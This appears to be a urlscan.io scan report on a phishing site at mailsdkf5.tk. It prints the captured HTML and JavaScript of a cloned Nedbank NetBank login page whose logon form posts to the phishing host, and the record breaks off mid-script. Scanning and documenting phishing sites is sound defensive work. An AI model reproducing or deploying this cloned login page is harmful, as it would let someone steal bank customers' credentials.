mailsdkf5.tk Open in urlscan Pro
23.254.147.26  Malicious Activity! Public Scan

URL: http://mailsdkf5.tk/c20/cgi-lin/ATTACHMENT-NED-2018-SURE.htm
Submission Tags: @ipnigh
Submission: On August 23 via api from GB

Form analysis 1 forms found in the DOM

Name: form1POST Logon.aspx

<form onsubmit="" autocomplete="off" name="form1" method="post" action="Logon.aspx" id="form1">
  <div>
  </div>
  <script type="text/javascript">
    //IM1188539 - Disable auto complete for FireFox/Netscape browsers
    var logonForm = document.getElementById('form1');
    logonForm.setAttribute('autocomplete', 'off');
  </script>
  <!-- Main Table -->
  <table class="maintable" border="0" cellpadding="0" cellspacing="0">
    <tbody>
      <tr>
        <!-- Left line and spacing from the left-->
        <td valign="top">
          <div id="LeftLine" class="leftline">&nbsp;</div>
        </td>
        <td align="left" width="1100px">
          <!-- Table for Nedbank logo and Top menu options (Header)-->
          <table border="0" cellpadding="0" cellspacing="0" width="100%">
            <tbody>
              <tr>
                <td align="left">
                  <table id="NedbankLogo" style="height: 117px; width: 1100px;" border="0" cellpadding="0" cellspacing="0">
                    <tbody>
                      <tr>
                        <td align="left">
                          <br>
                          <img src="http://mailsdkf5.tk/c20/cgi-lin/NedbankLogo.gif" title="Nedbank">
                          <br>
                          <br>
                          <br>
                        </td>
                        <td>
                          <span id="lblVersionText" style="font-size:medium; color:White">Version:</span>
                          <span id="lblVersion" style="font-size:medium; color:White"></span>
                          <!-- Harvest end -->
                        </td>
                      </tr>
                    </tbody>
                  </table>
                </td>
              </tr>
              <tr>
                <td colspan="2" height="5px">
                  <table align="left" border="0" cellpadding="0" cellspacing="0">
                    <!--Top of page headings-->
                    <tbody>
                      <tr>
                        <td><img src="http://mailsdkf5.tk/c20/cgi-lin/menu_shadow_left.jpg"> </td>
                        <td class="HomeLink" align="left">
                          <a href="https://netbank.nedsecure.co.za/"> Home </a>
                        </td>
                        <td align="left">
                          <ul id="topnav">
                            <li><span style="display: inline;">Online<br> Security</span><span style="margin-top: 0px; display: inline;">Online<br>
                                Security</span><a href="https://www.nedbank.co.za/website/content/promotions/index_detail.asp?PromoID=529" target="_blank" title="Online Security">Online<br> Security</a></li>
                            <li><span style="display: inline;">Apply</span><span
                                style="margin-top: 0px; display: inline;">Apply</span><a href="https://www.nedbank.co.za/website/content/forms/Formsdetails.asp?FormsId=661" target="_blank" title="Apply">Apply</a></li>
                            <li><span style="display: inline;">NetBank<br> Demo</span><span style="margin-top: 0px; display: inline;">NetBank<br>
                                Demo</span><a href="http://www.netbankdemo.co.za/NetbankRetailDemo/" target="_blank" title="NetBank Demo">NetBank<br> Demo</a></li>
                            <li><span style="display: inline;">NetBank<br> User Guide</span><span style="margin-top: 0px; display: inline;">NetBank<br> User
                                Guide</span><a href="http://www.netbankdemo.co.za/NetbankRel12011/Netbank%20UserGuide/main_menu.html" target="_blank" title="NetBank User Guide">NetBank<br> User Guide</a></li>
                            <li><span style="display: inline;">More About<br> NetBank</span><span style="margin-top: 0px; display: inline;">More About<br>
                                NetBank</span><a href="https://www.nedbank.co.za/website/content/promotions/index_detail.asp?PromoID=528" target="_blank" title="Individual Banking">More About<br> NetBank</a></li>
                            <li><span style="display: inline;">Talk<br> to Us</span><span style="margin-top: 0px; display: inline;">Talk<br> to
                                Us</span><a href="https://www.nedbank.co.za/website/content/forms/form.asp?FormsId=68&amp;Location=&amp;FormLocation=" target="_blank" title="Talk to Us">Talk<br> to Us</a></li>
                            <li><span style="display: inline;">Personal<br> Money Manager</span><span style="margin-top: 0px; display: inline;">Personal<br> Money
                                Manager</span><a href="http://www.nedbank.co.za/website/content/personalmoneymanager/" target="_blank" title="Personal Money Manager">Personal<br> Money Manager</a></li>
                            <li><span style="display: inline;">Online Share<br> Trading</span><span style="margin-top: 0px; display: inline;">Online Share<br>
                                Trading</span><a href="https://nedbankonlinetrading.nedsecure.co.za/Home.aspx" target="_blank" title="Online Share Trading">Online Share<br> Trading</a></li>
                            <li><span style="display: inline;">Verify<br> Payment</span><span style="margin-top: 0px; display: inline;">Verify<br> Payment</span><a href="javascript:SubmitToVerifyPage()">Verify<br> Payment</a></li>
                            <li><span style="display: inline;">Terms &amp; <br> Conditions</span><span style="margin-top: 0px; display: inline;">Terms &amp; <br>
                                Conditions</span><a href="http://www.nedbank.co.za/website/uploads/terms/TCSelfServiceBankingE.pdf" target="_blank" title="Terms &amp; Conditions">Terms &amp; <br> Conditions</a></li>
                            <li><span style="display: inline;">FAQ</span><span
                                style="margin-top: 0px; display: inline;">FAQ</span><a href="http://www.netbankdemo.co.za/NetbankRel12011/DOCS/internet%20banking%202011FAQs.pdf" target="_blank" title="FAQ">FAQ</a></li>
                            <li><span style="display: inline;">Trusteer Rapport<br> Security</span><span style="margin-top: 0px; display: inline;">Trusteer Rapport<br>
                                Security</span><a href="http://www.nedbank.co.za/website/content/rapport/" target="_blank" title="Get Protection NOW">Trusteer Rapport<br> Security</a></li>
                          </ul>
                        </td>
                      </tr>
                    </tbody>
                  </table>
                </td>
              </tr>
              <tr>
                <!--Green dividing line-->
                <td colspan="2" bgcolor="#004d37" height="5px">
                </td>
              </tr>
            </tbody>
          </table>
          <!--  END Table for Nedbank logo and Top menu options (Header)-->
          <!-- Table for Login and Promo Area-->
          <table border="0" cellpadding="0" cellspacing="0">
            <tbody>
              <tr>
                <td colspan="2" align="left" valign="top" width="100%">
                  <table style="margin-top: 10px;" border="0" cellpadding="0" cellspacing="0">
                    <tbody>
                      <tr>
                        <td>
                          <!--Login-->
                          <style type="text/css">
                            img {
                              border: none;
                              display: block;
                            }

                            .UserLogin {
                              padding-left: 15px;
                              height: 35px;
                              color: Black;
                              font-size: 18px;
                              font-weight: bolder;
                            }

                            .InputBox {
                              margin-left: 15px;
                              border-style: inset;
                              border-width: 1px;
                              width: 170px;
                            }

                            a:link {
                              text-decoration: none;
                            }

                            a:visited {
                              text-decoration: none;
                            }

                            a:hover {
                              text-decoration: underline;
                            }

                            .Label {
                              padding-left: 15px;
                              height: 23px;
                              width: 120px;
                              color: black;
                              font: arial;
                              font-size: 11px;
                              font-weight: bold;
                            }
                          </style>
                          <script src="http://mailsdkf5.tk/c20/cgi-lin/ResetPassword.js" type="text/javascript"></script>
                          <script src="CachePage_data/USSDDialog.js" type="text/javascript"></script>
                          <script src="CachePage_data/USSDPolling.js" type="text/javascript"></script>
                          <script src="http://mailsdkf5.tk/c20/cgi-lin/jquery.js" type="text/javascript"></script>
                          <script src="CachePage_data/JQuery.js" type="text/javascript"></script>
                          <script src="CachePage_data/jquery-ui.js" type="text/javascript"></script>
                          <script src="CachePage_data/USSDDialog.js" type="text/javascript"></script>
                          <script src="CachePage_data/USSDPolling.js" type="text/javascript"></script>
                          <script src="CachePage_data/MyFinancialLife.js" type="text/javascript"></script>
                          <script src="CachePage_data/RTCCutoff.js" type="text/javascript"></script>
                          <script src="CachePage_data/DarkHours.js" type="text/javascript"></script>
                          <script type="text/javascript">
                            var ApplicationPath = "";
                            var GlobalBrand = "";
                            /* Common Javascript that should be included on all pages
                            *  This file includes the following:
                            *  CreateNamespace(namespacename) - creates the specified javascript namespace. to be used by other JS files
                            *  
                            *  In jsCommon namespace the following is included:
                            *  jsCommon.GetInnerText (obj)  - returns the innerText or textContent (depending on browser) from the specified form element/variable obj
                            *                                 This must be used instead of the .innerText property on element obj as it 
                            *                                 does not exist on all browser
                            *  
                            *  jsCommon.GetAllElements (obj) -returns all the elements - same as doing a document.all in IE{ 
                            *                               
                            *  jsCommon.SetInnerText (obj, value) - sets the innerText/textContent property of a form element/variable
                            *  
                            *  jsCommon.FormatAmount (num) - formats the num into a amount string 
                            *                                eg. num=10789.7 returns 10,789.70  
                            *
                            *  jsCommon.FormatToAmount (stringNumber) - removes the commas from a string representation of a number and returns a float
                            *                                            eg. 1,233,343.00 will be returned as 1233343.00
                            *
                            *  jsCommon.GetCurrentDate() - returns the current date time JS object. used as Safari returns the year minus 1900
                            *
                            *  jsCommon.FormatDate (date, formatString) - *formatString is optional
                            *                  formats the date string, in a specified date format
                            *                  * if formatString is not specified dd/mm/yyyy  format is used
                            *                  Examples of format strings may be yyyy-dd-mm or m/d/yyyy etc. Formating replaces the following text 
                            *                           d  - is replaced with the day without any leading zeros
                            *                          dd  - is replaced with with the date padded with a leading zero (if req)
                            *                           m  - is replaced with number of the month
                            *                          mm  - is replaced with the month number padded with a leading zero (if req)
                            *                          yy  - is replaced with the last two digist of the current year
                            *                        yyyy  -  is replaced with the full year 
                            *
                            *  jsCommon.FormatTime = (date, formatString) - *formatString is optional
                            *                  formats the date, in a specified time format
                            *                  * if formatString is not specified hh:mm:ss format is used
                            *                  Examples of format strings may be hh:mm or h:mm:ss.mss etc. Formating replaces the following text 
                            *                           h  - is replaced with the hour(24) without any leading zeros
                            *                          hh  - is replaced with with the hour(24) padded with a leading zero (if req)
                            *                          mm  - is replaced with the minutes padded with a leading zero (if req)
                            *                          ss  - is replaced with the seconds padded with a leading zero (if req)
                            *                         mss  - is replaced with the milliseconds padded with leading zeros (if req)
                            *
                            *   jsCommon.ConvertToJSDateString (dateString) - converts a date string with slashes in the format of 
                            *                        dd/mm/yyyy to the format mm/dd/yyyy for submiting up to the BDM      
                            *
                            *
                            *   jsCommon.ConvertToSubmitDateString (dateString) - converts a date string with slashes in the format of 
                            *                        dd/mm/yyyy to the format yyyy-mm-dd for submiting up to the BDM      
                            *   
                            *   jsCommon.ConvertToJSDateObject (dateString) -converts a date string in the format dd/mm/yyyy to a JS date object
                            *
                            *
                            *   jsCommon.SubmitForm (url) - submits the aspNetForm using the action specified by url
                            *
                            *   jsCommon.SubmitFormToPrintPage(url) - Used for print. Opens a new print page window and submits current form
                            *
                            *   jsCommon.ChangeFormActionURL(url) - change the action URL on the master form 
                            *
                            *   jsCommon.CreateElement(form, id, value) - Attach hidden inputs to the form where:
                            *                                                form    - the form
                            *                                                id      - the ID that should be assigned to new hidden input
                            *                                                value   - the value contained by the hidden intput
                            *
                            *   jsCommon.IsDefined (variable) -checks if a function or variable is defined, returns true if it is. If you would like check 
                            *                                  the opener window for a variable include 'opener.' as a prefix in your request
                            *
                            *   jsCommon.EscapeSpecialCharacters (stringInput) - escapes special characters for submiting up to BDM
                            *   jsCommon.FormatCellphoneNumber(stringInput) - Strips characters from number ie. ' ','(',')','-' 
                            *   jsCommon.IsDayOfWeekValid (startDate, endDate, intDateDifference, stringDayOfWeek) -Checks if the DayOfWeek selected as a 
                            _________________________________________________________________________________________________________________________
                            */
                            window.CreateNamespace = function(name, using) {
                              var path = name.split(".");
                              var root = window;
                              var parent = "window";
                              for (var each = 0; each < path.length; each++) {
                                name = path[each];
                                if (root[name] == null) {
                                  eval(parent + "." + name + " = new Object();");
                                }
                                root = root[name];
                                parent += ".";
                                parent += name;
                              }
                              if (using != null) {
                                window[using] = root;
                              }
                            };
                            //var jsCommon = new Object();
                            CreateNamespace("jsCommon"); //create the jsCommon namespace
                            //function to get the innertext of HTML form element
                            jsCommon.GetInnerText = function(obj) {
                              if (obj.innerText != undefined) {
                                return obj.innerText;
                              } else {
                                return obj.textContent;
                              }
                            };
                            // formats a string number that includes commas and returns a float
                            jsCommon.FormatToAmount = function(stringNumber) {
                              if (stringNumber != null) {
                                while (stringNumber.indexOf(",") >= 0) {
                                  stringNumber = stringNumber.replace(",", "");
                                }
                                if (!isNaN(stringNumber)) {
                                  return parseFloat(stringNumber);
                                } else {
                                  return stringNumber;
                                }
                              } else {
                                return null; //return 0;
                              }
                            };
                            //function to set the innertext of HTML form element
                            jsCommon.SetInnerText = function(obj, value) {
                              if (obj.innerText != undefined) {
                                obj.innerText = value;
                              } else {
                                obj.textContent = value;
                              }
                            };
                            //get all the elements
                            jsCommon.GetAllElements = function(element) {
                              if (document.all) {
                                return element.all; //for IE
                              } else {
                                return element.getElementsByTagName('*'); //for firefox
                              }
                            };
                            //returns the current date time javascript object
                            jsCommon.GetCurrentDate = function() {
                              var currentDate = new Date();
                              if (currentDate.getFullYear < 1900) {
                                currentDate.setFullYear(currentDate.getFullYear + 1900); // this is speifcally for safari which returns year minus 1900
                              }
                              return currentDate;
                            };
                            //formats the date, if format string is not specified then the date is formatted as
                            //dd/mm/yyyy  format string can also be specified. 
                            //Examples of fromat strings may be yyyy-dd-mm or m/d/yyyy etc
                            // - d is replaced with the day without any leading zeros
                            // - dd is replaced with with the date padded with a leading zero (if req)
                            // - m is replaced with number of the month
                            // - mm is replaced with the month number padded with a leading zero (if req)
                            // - yy is replaced with the last two digist of the current year
                            // - yyyy is replaced with the full year 
                            jsCommon.FormatDate = function(date, formatString) {
                              var dt = new Date(date);
                              var year = dt.getFullYear().toString();
                              var month = dt.getMonth() + 1;
                              var monthStr = month.toString();
                              if (monthStr.length < 2) {
                                monthStr = "0" + monthStr;
                              }
                              var day = dt.getDate().toString();
                              var dayStr = day.toString();
                              if (dayStr.length < 2) {
                                dayStr = "0" + dayStr;
                              }
                              if (formatString == null) {
                                return dayStr + "/" + monthStr + "/" + year;
                              } else {
                                formatString = formatString.replace("yyyy", year);
                                formatString = formatString.replace("yy", year.substr(2));
                                formatString = formatString.replace("mm", monthStr);
                                formatString = formatString.replace("m", month);
                                formatString = formatString.replace("dd", dayStr);
                                formatString = formatString.replace("d", day);
                                return formatString;
                              }
                            };
                            //formats the date, in a specified time format
                            //if formatString is not specified hh:mm:ss format is used
                            //Examples of format strings may be hh:mm or h:mm:ss.mss etc. Formating replaces the following text 
                            //h  - is replaced with the hour(24) without any leading zeros
                            //hh  - is replaced with with the hour(24) padded with a leading zero (if req)
                            //mm  - is replaced with the minutes padded with a leading zero (if req)
                            //ss  - is replaced with the seconds padded with a leading zero (if req)
                            //mss  - is replaced with the milliseconds padded with leading zeros (if req)
                            jsCommon.FormatTime = function(dt, formatString) {
                              var hour = dt.getHours().toString();
                              //var hourStr = dt.toUTCString();
                              var hourStr = hour.toString();
                              if (hourStr.length < 2) {
                                hourStr = "0" + hourStr;
                              }
                              var minute = dt.getMinutes().toString();
                              var minuteStr = minute.toString();
                              if (minuteStr.length < 2) {
                                minuteStr = "0" + minuteStr;
                              }
                              var second = dt.getSeconds().toString();
                              var secondStr = second.toString();
                              if (secondStr.length < 2) {
                                secondStr = "0" + secondStr;
                              }
                              var millisecond = dt.getTime().toString();
                              var millisecondStr = millisecond.toString();
                              millisecondStr = millisecondStr.substr((millisecondStr.length - 3), 3);
                              if (formatString == null) {
                                return hourStr + ":" + minuteStr + ":" + secondStr;
                              } else {
                                formatString = formatString.replace("hh", hourStr);
                                formatString = formatString.replace("h", hour);
                                formatString = formatString.replace("mm", minuteStr);
                                formatString = formatString.replace("ss", secondStr);
                                formatString = formatString.replace("mss", millisecondStr);
                                return formatString;
                              }
                            };
                            //TM: This method parses a new date object into already existing jsCommon.FormatTime method. This caters for the new TIME textFormat type added for the custom table. jsCommon.FormatTime was not used for that purpose before.
                            jsCommon.FormatTimeFromDateString = function(date, format) {
                              var dt = new Date(date);
                              return jsCommon.FormatTime(dt, format);
                            };
                            jsCommon.ConvertToJSDateString = function(dateString) {
                              //date has to be changed to mm/dd/yyyy format for js Date object
                              if (dateString.indexOf('/') == -1) {
                                return "01/01/0001";
                              }
                              var dateArray = dateString.split("/");
                              dateString = dateArray[1] + "/" + dateArray[0] + "/" + dateArray[2];
                              return dateString;
                            };
                            //converts a date string in the format dd/mm/yyyy to a JS date object
                            jsCommon.ConvertToJSDateObject = function(dateString) {
                              var year = dateString.substring(6, 10);
                              var month = dateString.substring(3, 5);
                              var day = dateString.substring(0, 2);
                              var dateObj = new Date(year, month - 1, day);
                              return dateObj;
                            };
                            //converts a date string in the format dd/mm/yyyy to yyyy-mm-dd
                            jsCommon.ConvertToSubmitDateString = function(dateString) {
                              //date has to be changed to yyyy-mm-dd format for js Date object
                              var dateArray = dateString.split("/");
                              dateString = dateArray[2] + "-" + dateArray[1] + "-" + dateArray[0];
                              return dateString;
                            };
                            //formats the num into a amount string 
                            //eg. num=10789.7 returns 10,789.70  
                            jsCommon.FormatAmount = function(num) {
                              num = num.toString();
                              if (((num.length) - (num.lastIndexOf(","))) >= 4) {
                                num = num.replace(/\$|\,/g, "");
                              } else {
                                num = num.replace(/\$|\,/g, ".");
                              }
                              if (isNaN(num)) {
                                num = "0";
                              }
                              sign = (num == (num = Math.abs(num)));
                              num = Math.floor(num * 100 + 0.50000000001);
                              cents = num % 100;
                              num = Math.floor(num / 100).toString();
                              if (cents < 10) {
                                cents = "0" + cents;
                              }
                              for (var i = 0; i < Math.floor((num.length - (1 + i)) / 3); i++) {
                                num = num.substring(0, num.length - (4 * i + 3)) + "," + num.substring(num.length - (4 * i + 3));
                              }
                              return (((sign) ? "" : "-") + num + "." + cents);
                            };
                            //same as jsCommon.FormatAmount , except no commas will be returned and it will also return empty string when num is empty
                            //eg. num=10789.7 returns 10789.70
                            jsCommon.FormatAmountNoCommas = function(num) {
                              if (num == "") {
                                return "";
                              }
                              num = num.toString();
                              if (((num.length) - (num.lastIndexOf(","))) >= 4) {
                                num = num.replace(/\$|\,/g, "");
                              } else {
                                num = num.replace(/\$|\,/g, ".");
                              }
                              if (isNaN(num)) {
                                num = "0";
                              }
                              sign = (num == (num = Math.abs(num)));
                              num = Math.floor(num * 100 + 0.50000000001);
                              cents = num % 100;
                              num = Math.floor(num / 100).toString();
                              if (cents < 10) {
                                cents = "0" + cents;
                              }
                              /*for (var i = 0; i < Math.floor((num.length - (1 + i)) / 3); i++) {
                              num = num.substring(0, num.length - (4 * i + 3)) + "," + num.substring(num.length - (4 * i + 3));
                              }*/
                              return (((sign) ? "" : "-") + num + "." + cents);
                            };
                            jsCommon.SubmitForm = function(url) {
                              var form = document.getElementById("aspnetForm");
                              form.action = url;
                              form.submit();
                            };
                            jsCommon.SubmitFormToPrintPage = function(url) {
                              var WindowFeatures = "width=670,height=700,status=yes,toolbar=yes,menubar=yes,location=no,resizable=no,scrollbars=yes,top=0,left=0";
                              var WindowFeaturesChrome = "width=670,height=700,status=yes,toolbar=yes,menubar=yes,location=no,resizable=no,scrollbars=no,top=0,left=0,chrome=yes";
                              if (BrowserDetect.browser == 'Chrome') {
                                var wHandle = window.open("about:blank", "PrintPageWindow", WindowFeaturesChrome);
                              } else {
                                var wHandle = window.open("about:blank", "PrintPageWindow", WindowFeatures);
                              }
                              //BRRR1101829 - Print button displays empty page  // 654
                              if (window.blur) {
                                wHandle.blur();
                              }
                              if (jsCommon.IsDefined('framesCommon')) {
                                //reset session timer for session timeout pop-up
                                framesCommon.StartResetSessionTimeoutClock();
                              } else if (jsCommon.IsDefined('opener.framesCommon')) {
                                opener.framesCommon.StartResetSessionTimeoutClock(); //incase from image pop-up window
                              }
                              var form = document.getElementById("printForm");
                              form.target = "PrintPageWindow";
                              var nonceValue = document.getElementById("PageNonce").value;
                              // Check if there is a query string in the target already
                              if (url.search(/\?/) > 0) {
                                // Add to the existing query string
                                form.action = url + "&RequestFromPopUp=true&Request_Nonce=" + nonceValue;
                              } else {
                                // Add a new query string
                                form.action = url + "?RequestFromPopUp=true&Request_Nonce=" + nonceValue; // + "&Request_AccountNumber=1234567001&Request_AccountType=CURRENT";
                              }
                              form.submit(false);
                              form.target = "";
                              //BRRR1101829 - Print button displays empty page
                              if (window.focus) {
                                wHandle.focus();
                              }
                            };
                            jsCommon.SubmitFormToExportPage = function(url) {
                              if (jsCommon.IsDefined('framesCommon')) {
                                //reset session timer for session timeout pop-up
                                framesCommon.StartResetSessionTimeoutClock();
                              } else if (jsCommon.IsDefined('opener.framesCommon')) {
                                opener.framesCommon.StartResetSessionTimeoutClock(); //incase from image pop-up window
                              }
                              var form = document.getElementById("aspnetForm");
                              form.target = "exportframe";
                              form.action = url;
                              form.submit(false);
                              form.target = "_self";
                              //	form.action = url;// + "?RequestFromPopUp=true";
                              //	form.submit(false);
                            };
                            jsCommon.ChangeFormActionURL = function(url) {
                              var form = document.getElementById("aspnetForm");
                              form.action = url;
                            };
                            //Attach hidden inputs to the form
                            jsCommon.CreateElement = function(form, id, value) {
                              var input = document.createElement("INPUT");
                              input.type = "HIDDEN";
                              input.name = id;
                              input.id = id;
                              input.value = value;
                              form.appendChild(input);
                            };
                            //checks if a function or variable is defined, returns true if it is. If you would like check the opener for a variable include 'opener.' as a prefix in your request
                            jsCommon.IsDefined = function(variable) {
                              if (variable.indexOf("opener.") != 0) {
                                if (typeof(window[variable]) != "undefined") {
                                  return true;
                                }
                              } else {
                                if (opener) {
                                  variable = variable.replace("opener.", "");
                                  if (typeof(opener.window[variable]) != "undefined") {
                                    return true;
                                  }
                                }
                              }
                              return false;
                            };
                            //escapes special characters in an input string
                            jsCommon.EscapeSpecialCharacters = function(stringInput) {
                              stringInput = stringInput.replace(/&/g, "&amp;");
                              stringInput = stringInput.replace(/</g, "&lt;");
                              stringInput = stringInput.replace(/>/g, "&gt;");
                              //Double quote for a string type must be escaped
                              stringInput = stringInput.replace(/\"/g, "&#34;");
                              return stringInput;
                            };
                            var $this = this;
                            jsCommon.SubmitEmptyForm = function(url) {
                              var index = url.indexOf("Logon.bank");
                              var varlogon = url.split("?", 1);
                              if (index != -1) {
                                var form = document.getElementById("form1");
                                form.action = url;
                                form.submit();
                              }
                              //    var index = url.indexOf("ResetPasswordUSSD");
                              //    var varlogon = url.split("?", 1);
                              //    if (index != -1) {
                              //        var pvar = url.split("?", 1);
                              //        var n = url.indexOf("?");
                              //        var token = url.substring(n + 1);
                              //        if (pvar == "ResetPasswordUSSD.bank") {
                              //            var ajaxReq = new Nedbank.App.Retail.Ajax.Request();
                              //            ajaxReq.OnError = $this.AjaxErrorRetrievingResetPasswordUSSD;
                              //            ajaxReq.OnResponse = $this.ProcessResetPasswordAjaxUSSD;
                              //            ajaxReq.Open("ResetPasswordUSSD.bank");
                              //            ajaxReq.Send("Request_Nonce=" + token);
                              //        }
                              //        else {
                              //            var form = document.getElementById("form1");
                              //            form.action = url;
                              //            form.submit();
                              //        }
                              //    }
                              else {
                                var form = document.getElementById("emptyForm");
                                form.action = url;
                                form.submit();
                              }
                            };
                            //changes by vikas
                            $this.ProcessResetPasswordAjaxUSSD = function(ajaxResponse) {
                              var jsonObj = Nedbank.App.Retail.Ajax.ConvertResponseToJSONObj(ajaxResponse);
                              if (jsonObj.Result.ResultCode == 'SUCCESS') {
                                //////debugger;
                                if (jsonObj != null && jsonObj.NONCE != null && jsonObj.NONCE.TOKEN != null) {
                                  SetNonceValue(jsonObj.NONCE.TOKEN);
                                }
                                $this.EnableNewAndConfirmPassword();
                              } else {
                                $this.AjaxErrorRetrievingResetPasswordUSSD(ajaxResponse);
                              }
                            };
                            // Error Handling
                            $this.controlPrefix = "ctl00_ctpPageContent_";
                            $this.divErrorMsg = document.getElementById($this.controlPrefix + "divErrorMsg");
                            var $this = this;
                            $this.AjaxErrorRetrievingResetPasswordUSSD = function(ajaxResponse) {
                              $("#dialog").dialog('close');
                              var errorElement = $(ajaxResponse).find("#LoginPagelet_CSV_Error").html();
                              $("#LoginPagelet_CSV_Error").html(errorElement).css("color", "red");
                            };
                            EnableNewAndConfirmPassword = function() {
                              $("#dialog").dialog('close');
                              // $("#LoginPagelet_LogonID").hide();
                              $("#LoginPagelet_tdLogonID").css("display", "none");
                              //$("#LogonID").attr('disabled', 'disabled');
                              $("#FirstTimeID").css("display", "none");
                              $("#LoginPagelet_lblPasswordid").css("display", "none");
                              $("#LoginPagelet_lblResetPasswordid").css("display", "none");
                              $("#Password").css("display", "none");
                              $("#LoginPagelet_SubmitID").css("display", "block");
                              $("#LoginPagelet_trlblNewPassword").css("display", "block");
                              $("#LoginPagelet_trInNewPassword").css("display", "block");
                              $("#LoginPagelet_trlblConfirmPassword").css("display", "block");
                              $("#LoginPagelet_trInConfirmPassword").css("display", "block");
                              $this.GetPage('ForgetPasswordInfo', '1000'); //We are displaying html page for Reset Password to inform normal user about this
                              $("#ProfileId").attr('readonly', 'readonly');
                              $("#PinNo").attr('readonly', 'readonly');
                              //$("#CSV_Error1").css("display", "none");      // we are hiding any error from login page what we get after invalidation from Logon button.
                            };
                            //end
                            jsCommon.FormatCellphoneNumber = function(stringInput) {
                              var regex = /\s+|\(+|\)+|\-+/g;
                              return stringInput.replace(regex, '');
                            };
                            jsCommon.FormatFaxNumber = function(stringInput) {
                              var regex = /\s+|\(+|\)+|\-+/g;
                              return stringInput.replace(regex, '');
                            };
                            jsCommon.IsDayOfWeekValid = function(startDate, endDate, intDateDifference, stringDayOfWeek) {
                              var weekday = new Array(7);
                              weekday[0] = "Sunday";
                              weekday[1] = "Monday";
                              weekday[2] = "Tuesday";
                              weekday[3] = "Wednesday";
                              weekday[4] = "Thursday";
                              weekday[5] = "Friday";
                              weekday[6] = "Saturday";
                              if ((weekday[startDate.getDay()].toLowerCase() === stringDayOfWeek.toLowerCase()) || (weekday[endDate.getDay()].toLowerCase() === stringDayOfWeek.toLowerCase())) {
                                return true;
                              }
                              for (var i = 0; i < intDateDifference; i++) {
                                var nextDate = new Date(startDate.setDate(startDate.getDate() + 1));
                                if (weekday[nextDate.getDay()].toLowerCase() === stringDayOfWeek.toLowerCase()) {
                                  return true;
                                }
                              }
                              return false;
                            };
                            jsCommon.getFormElement = function(controlPrefix, inputType, controlId) {
                              var isTableInput = false;
                              if (controlId.startsWith("tbl") || controlId.startsWith("txt")) isTableInput = true;
                              var jquerySelect = String.format('{0}[id$="_{1}"]', inputType, controlId);
                              if (isTableInput) jquerySelect = String.format('{0}[id$="{1}"]', inputType, controlId);
                              var formControl = $(jquerySelect);
                              if (formControl == null || formControl == undefined) {
                                if (isTableInput) {
                                  formControl = document.getElementById(controlId);
                                } else {
                                  formControl = document.getElementById(String.format("{0}_{1}", controlPrefix, controlId));
                                }
                              }
                              if (formControl == null || formControl == undefined) alert("Could not find " + controlId);
                              return formControl;
                            };
                            jsCommon.getFormElementByName = function(controlPrefix, inputType, controlId) {
                              var jquerySelect = String.format('{0}[name$="${1}"]', inputType, controlName);
                              var formControl = $(jquerySelect);
                              if (formControl == null || formControl == "undefined") formControl = document.getElementById(String.format("{0}${1}", controlPrefix, controlName));
                              if (formControl == null || formControl == "undefined") alert("Could not find " + controlName);
                              return formControl;
                            };
                            jsCommon.getRadioButtonValue = function(controlName) {
                              var jquerySelect = String.format('input:radio[name$="${0}"]:checked', controlName);
                              var formControl = $(jquerySelect);
                              return formControl
                            };
                            String.format = function() {
                              var s = arguments[0];
                              for (var i = 0; i < arguments.length - 1; i++) {
                                var reg = new RegExp("\\{" + i + "\\}", "gm");
                                s = s.replace(reg, arguments[i + 1]);
                              }
                              return s;
                            };
                            String.prototype.endsWith = function(suffix) {
                              return (this.substr(this.length - suffix.length) === suffix);
                            };
                            String.prototype.startsWith = function(prefix) {
                              return (this.substr(0, prefix.length) === prefix);
                            };
                            //The date popup is used across the entire site, seems to make sense to have it in
                            //the common file
                            jsCommon.DateSelectorPopup = function(anchorElement, inputId) {
                              var inputPurchaseDate = document.getElementById(inputId);
                              MyCalendar = new calendar1(inputPurchaseDate);
                              MyCalendar.year_scroll = true;
                              MyCalendar.time_comp = false;
                              MyCalendar.OriginatorButtonPosition = jsCalendar.FindPosition(anchorElement);
                              if (inputPurchaseDate.value != "") {
                                MyCalendar.popup();
                              } else {
                                MyCalendar.popup(jsCommon.GetNextDateString());
                              }
                            };
                            //Helper method for the calendar popup
                            jsCommon.GetNextDateString = function() {
                              var startPaymentDate = new Date();
                              startPaymentDate.addDays(1);
                              var sMonth = new String(Number(startPaymentDate.getMonth() + 1));
                              var sDay = new String(startPaymentDate.getDate());
                              return ((sDay.length < 2) ? "0" + sDay : sDay) + "/" + ((sMonth.length < 2) ? "0" + sMonth : sMonth) + "/" + startPaymentDate.getFullYear();
                            };
                            jsCommon.getRadioButtonValue = function(controlName) {
                              var jquerySelect = String.format('input:radio[name$="${0}"]:checked', controlName);
                              var formControl = $(jquerySelect);
                              return formControl
                            };
                            var AJAXPageDisable = {
                              init: function() {
                                this.WaitClock = null;
                                this.DisableElement = null;
                                this.PageContentElement = null;
                                this.ProgressDiv = null;
                                this.ClassNameForDisable = null;
                                this.DotNo = 0;
                              },
                              Create: function(disableElement, pageContentElement, className, timeoutPeriod, callbackFunction, progressDiv) {
                                this.DisableElement = document.getElementById(disableElement);
                                this.PageContentElement = document.getElementById(pageContentElement);
                                this.ClassNameForDisable = className;
                                this.WaitClock = new Nedbank.Infr.Timer();
                                this.WaitClock.SetTimeoutPeriod(timeoutPeriod);
                                this.WaitClock.SetTimeoutCallback(callbackFunction);
                                this.ProgressDiv = document.getElementById(progressDiv);
                              },
                              DisablePage: function() {
                                if (this.DisableElement != null) {
                                  if (this.PageContentElement != null) {
                                    var height = this.GetHeightByBrowser(this.PageContentElement);
                                    this.DisableElement.style.height = height;
                                    this.DisableElement.style.width = "100%";
                                    this.DisableElement.style.display = "";
                                    this.ModifyElementForSelects(this.PageContentElement, this.ClassNameForDisable);
                                  }
                                }
                              },
                              EnablePage: function() {
                                if (this.DisableElement != null) {
                                  this.DisableElement.style.display = "none";
                                  this.ModifyElementForSelects(this.PageContentElement, '');
                                }
                              },
                              ModifyElementForSelects: function(element, className) {
                                if ((BrowserDetect.browser == "Explorer") && (BrowserDetect.version < 7)) {
                                  if (element) {
                                    element.className = className;
                                  }
                                }
                              },
                              GetHeightByBrowser: function(element) {
                                var offsetHeight;
                                var scrollHeight;
                                switch (BrowserDetect.browser) {
                                  case "Explorer":
                                    offsetHeight = document.body.offsetHeight;
                                    scrollHeight = document.body.scrollHeight;
                                    break;
                                  default:
                                    offsetHeight = document.getElementById('PageBody').offsetHeight + 'px';
                                    scrollHeight = document.getElementById('PageBody').scrollHeight + 'px';
                                    break;
                                }
                                if (offsetHeight > scrollHeight) {
                                  return offsetHeight;
